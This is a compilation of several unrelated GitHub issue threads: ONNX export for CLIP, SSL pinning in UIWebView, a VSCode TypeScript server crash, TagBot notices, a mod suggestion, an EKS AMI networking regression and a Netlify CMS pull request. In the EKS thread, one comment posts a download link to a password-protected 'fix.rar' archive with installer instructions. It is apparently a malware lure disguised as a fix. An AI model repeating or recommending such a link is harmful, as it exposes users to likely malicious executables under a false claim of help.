Thank you very much for the great work. The description of this PR mentioned "perform quantization/optimization with computer vision models". Does this include CLIP model (CLIPProcessor, CLIPModel) ? I am looking for an approach to serialize CLIP models (to onnx) and perform quantization/optimization. Any idea how ?

Thank you very much for the great work. The description of this PR mentioned "perform quantization/optimization with computer vision models". Does this include CLIP model (CLIPProcessor, CLIPModel) ? I am looking for an approach to serialize CLIP models (to onnx) and perform quantization/optimization. Any idea how ? @NielsRogge @JingyaHuang

@rhkenne The first step would be to add ONNX support for CLIP in Transformers. Would you be interested in opening a PR to enable this?
Then, for optimization and quantization, additional work would be necessary because multimodal models are not supported yet.

@rhkenne There is an ongoing PR here to make CLIP exportable to ONNX.


No SSL Pinning for UIWebView

Seems to be a common omission in certificate pinning examples and implementations that they do not ensure comprehensive coverage for all HTTPS connections on mobile applications.  UIWebView requires implementing a custom NSURLProtocol to gain the proper control over how the UIWebView URL requests are invoked in order to ensure those are also pinned.  Are you planning on adding code for that?

It has been a while but I solved this problem (and many other) in a new SSL pinning library: https://github.com/datatheorem/TrustKit
I was also told that NSURLProtocol is extremely slow.


Format Error on my terminal when using choc

All is on the picture:

I can share some information about my configuration. Tell me what you need

try with -t 70 ?

That's works.
pb solved


TagBot trigger issue

This issue is used to trigger TagBot; feel free to unsubscribe.
If you haven't already, you should update your TagBot.yml to include issue comment triggers.
Please see this post on Discourse for instructions and more details.

You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/44563

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/44575

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.


TypeScript language service died unexpectedly

VSCode Version: Code 1.8.1 (ee428b0eead68bf0fb99ab5fdc4439be227b6281, 2016-12-19T14:41:20.664Z)
OS Version: Linux x64 3.16.0-4-amd64
Extensions:

Extension
Author
Version

ejs-language-support
QassimFarid
0.0.1

jslint
ajhyndman
1.2.1

jshint
dbaeumer
0.10.15

vscode-eslint
dbaeumer
1.2.2

vscode-yaml-validation
djabraham
0.0.1

python
donjayamanne
0.5.2

docthis
joelday
0.3.6

markdown-table-formatter
josa
0.0.4

Go
lukehoban
0.6.52

Steps to Reproduce:
Following error is repeatedly appearing in the editor.
The TypeScript language service died unexpectedly 5 times in the last 5 Minutes. Please consider to open a bug report.

Can you share your workspace?
Also, please try setting "typescript.tsserver.trace": "verbose" and the restarting VSCode. Open the output panel and select the  TypeScript output. This may help us investigate the root cause

I get the same thing.  It is annoying since I don't even use TypeScript.

@dipetersen We use the TypeScript project to power intellisense for both JavaScript and TypeScript.
If you are seeing this problem, please try setting "typescript.tsserver.trace": "verbose" and the restarting VSCode. Open the output panel and share the TypeScript output so we can investigate.
Thanks

I'm experience the same issue. The language server works for awhile but then just stops working and I need to restart VSCode.
Verbose output from the tsserver can be found from here

Output from trace is here:  http://pastebin.com/BzGuhuci

Here is the output trace from my workspace,
http://pastebin.com/T5tkuFAN

Thanks everyone.
I see two errors from these logs:

@dipetersen: TSServer exited with code:<PHONE_NUMBER>
@bsurendrakumar and @tomi:  TSServer exited with code: unknown

@mhegazy Do either of these sound familiar?

As a workaround, you may want to try installing TS 2.1.5. This comes bundled with our latest VSCode 1.9 insiders builds, or you can install it into your workspace using npm install<EMAIL_ADDRESS>and updating the typescript.tsdk setting to point to the local install: "typescript.tsdk": "./node_modules/typescript/lib"

I can confirm that the issue doesn't exist anymore with Version 1.9.0-insider (1.9.0-insider)

I am still getting the error [Error - 4:56:01 PM] TSServer exited with code: unknown with the version Version 1.9.0-insider (1.9.0-insider). Tho it doesn't happen constantly anymore, like with the earlier version

@tomi, is there a specific project/file/action that you can associate with the issue? can you share the log file from the server (by setting the TSS_LOG env var, and starting vscode from the same environment)?

I am getting the same thing and I do not use TypeScript either.
Is there a way to turn off the warning message?  It keeps sliding down from the top every couple seconds and it is very annoying.

#20081 fixed a few issues that were causing the TS warning message to constantly be displayed
Crashes with exit code<PHONE_NUMBER> were likely due to this bug when trying to open a file stored on Sharepoint: https://github.com/Microsoft/TypeScript/issues/13874 We're working on a fix for this.
Please try out 1.9 and let me know if you are still seeing this issue when not working with a Sharepoint directory. If you are, please collect logs using TSS_LOG as @mhegazy suggests and open a new issue so that we can track individual problems better.
Thanks


Suggestion: Embossment

So just like how you add more modifiers for the tools. I was wondering if it would be possible to have like a secondary xp/ threshold to allow more than one tool Embossment later on

One embossment per tool part type would probably make the most sense.
It would prevent creation of an "all-tool" that has just every trait there is and with that at least some balance remains.

To be fair, this is the mod that allows you unlimited modifiers effectively giving you every modifier

That is what i was thinking. And how would it become and AIOT? all embossment does is add the traits of the other parts. Ex wriable, duriate

Fair enough. Would take a very long time to level a tool anyways.


Issue with AMI Release v20240817, AWS CNI not working

What happened:
Upgrading EKS ami from version, AMI Release v20240807 to version AMI Release v20240817 breaks the AWS CNI. Reverting to the previous AMI resolves the issue.
CNI version:  v1.18.3
What you expected to happen:
AMI minor version upgrade not breaking anything
How to reproduce it (as minimally and precisely as possible):
Upgrade EKS worker nodes to AMI Release v20240817
Anything else we need to know?:
The IP addresses are not getting correctly assigned. There are errors in kube-proxy
E0826 15:52:11.209793       1 reflector.go:147] vendor/k8s.io/client-go/informers/factory.go:150: Failed to watch *v1.EndpointSlice: failed to list *v1.EndpointSlice: Get "https://<redacted>.<redacted>.us-east-1.eks.amazonaws.com/apis/discovery.k8s.io/v1/endpointslices?labelSelector=%21service.kubernetes.io%2Fheadless%2C%21service.kubernetes.io%2Fservice-proxy-name&limit=500&resourceVersion=0": dial tcp: lookup <redacted>.<redacted>.us-east-1.eks.amazonaws.com on [::1]:53: dial udp [::1]:53: connect: cannot assign requested address
There are also noted log messages on the node level
{"level":"error","ts":"2024-08-26T14:34:42.760Z","logger":"controller-runtime.source.EventHandler","caller":"source/kind.go:68","msg":"failed to get informer from cache","error":"failed to get API group resources: unable to retrieve the complete list of server APIs: networking.k8s.aws/v1alpha1: Get \"[https://<IP_ADDRESS>:443/apis/networking.k8s.aws/v1alpha1](https://<IP_ADDRESS>/apis/networking.k8s.aws/v1alpha1)\": dial tcp <IP_ADDRESS>:443: connect: connection timed out"} {"level":"error","ts":"2024-08-26T14:34:52.745Z","logger":"controller-runtime.source.EventHandler","caller":"source/kind.go:68","msg":"failed to get informer from cache","error":"failed to get API group resources: unable to retrieve the complete list of server APIs: networking.k8s.aws/v1alpha1: Get \"[https://<IP_ADDRESS>:443/apis/networking.k8s.aws/v1alpha1](https://<IP_ADDRESS>/apis/networking.k8s.aws/v1alpha1)\": dial tcp <IP_ADDRESS>:443: connect: connection timed out"}
Also noted, there is no connectivity from the EC2 instance to the resolved IP address for the EKS cluster.
Environment:

AWS Region: us-east-1
CNI version:  v1.18.3
Instance Type(s): t3.2xlarge, t3.large
EKS Platform version (use aws eks describe-cluster --name <name> --query cluster.platformVersion): eks.16
Kubernetes version (use aws eks describe-cluster --name <name> --query cluster.version): 1.28
AMI Version: ami-0d364e0801521b622
Kernel (e.g. uname -a): unknown, already reverted the AMI
Release information (run cat /etc/eks/release on a node):

unknown, already reverted AMI

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

@jma-amboss can you open a case with AWS support so we can get some more information? We're not able to reproduce anything like this.

@ing-ash, @shuba-shyam, @asri-badla if any of you have seen this issue and can open an AWS support case, it'd be really helpful. We need logs from an instance having this problem to determine a root cause.

@cartermckinnon Unfortunately, we don't have an AWS support plan. We can only contact our reseller, which provides us with basic support.

Understood; do you see any evidence in the containerd logs that this could be related to #1933 ?

I don't know if my issue is exactly the same, but I was just moving from AL2 to AL2023 and discovered something similar.  I get CoreDNS issues (where it can't talk to Kubernetes) but if I kill the pod multiple times in a row it will eventually not complain.
I discovered this for other pods that talk to the Kubernetes API, if I restarted them enough times it would get to healthy but things would still be glitchy and I'd have ongoing dns issues.  Reverting to AL2 immediately fixed things.
I made a case<PHONE_NUMBER>00840) so if there's anything I can gather for you I can help troubleshoot this.
I dug around in the logs on the nodes themselves (just looking at with journalctl -ef) but I didn't see anything that leapt out at me as obviously broken.
I have a cluster I can switch back over to these nodes for testing purposes if you need me to run anything specific (I rolled everything back for now.  I did not try to downgrade the CNI).  This was EKS 1.29, for reference.

@apenney that sounds like a different issue, the original report was on AL2.
I don't see a smoking gun here. Timeouts to the API server can happen for many reasons, and without more information we can't really narrow down the cause. I'm not aware of any issues in us-east-1 at the time this was occurring. If you can provide more information, please @ mention me.


feat(editor-components): add title to image component

Adds a "title" attribute to the built-in image editor component. There might be more robust ways to handle the regex or escaping though?

closes #1775
Test plan
Can someone point me to a relevant file to test this? I also noticed the docs are still in progress for this package, but is there somewhere I should add documentation?

Deploy preview for netlify-cms-www ready!
Built with commit 4024fc6bdf4401bcd852519762ef461c9b46f255
https://deploy-preview-1862--netlify-cms-www.netlify.com

Deploy preview for cms-demo ready!
Built with commit 4024fc6bdf4401bcd852519762ef461c9b46f255
https://deploy-preview-1862--cms-demo.netlify.com

Looks great, thanks for this!
We're pushing to get our testing up - to add tests for the netlify-cms-editor-component-image package, just add a __tests__ directory inside of it's src and add any test files there. Check out the path spec in the netlify-cms-lib-util package for example: https://github.com/netlify/netlify-cms/blob/master/packages/netlify-cms-lib-util/src/tests/path.spec.js
We use Jest for testing, you can run yarn jest from the root to run the suite.
For docs we're currently just adding them to the website via content files. Creating an actual readme for that package would be awesome if you're up for it, but not a requirement for this PR.
Also just noticing our editor components aren't documented anywhere at all 🤦♂, need a docs section for that at some point.

@erquhart thanks for the guidance! I went ahead and added tests.
I found documentation about registerEditorComponent, but not about the default Image component in particular. Are you thinking there should be a section specifically for default components (I think this is the only one)?

Yeah we need to add docs, but I won't require it for this PR. Looks great, thanks!

As with all the docs, there are roughly three types of uses to cover: editing (using the Natlify CMS UI), configuring (mostly entering settings into config.yml and optionally styling the preview pane), and extending (creating new plugins/widgets/etc. or making core feature contributions like this one).
For content editing, @ademuro is working on a user guide now for https://github.com/netlify/netlify-cms/issues/1340. The guide includes user instructions for the image component.
It's not in the configuration areas of the docs because there aren't really any config options.
As the "extending" sections of the docs are starting to expand, some information on the actual code behind the image component could be helpful!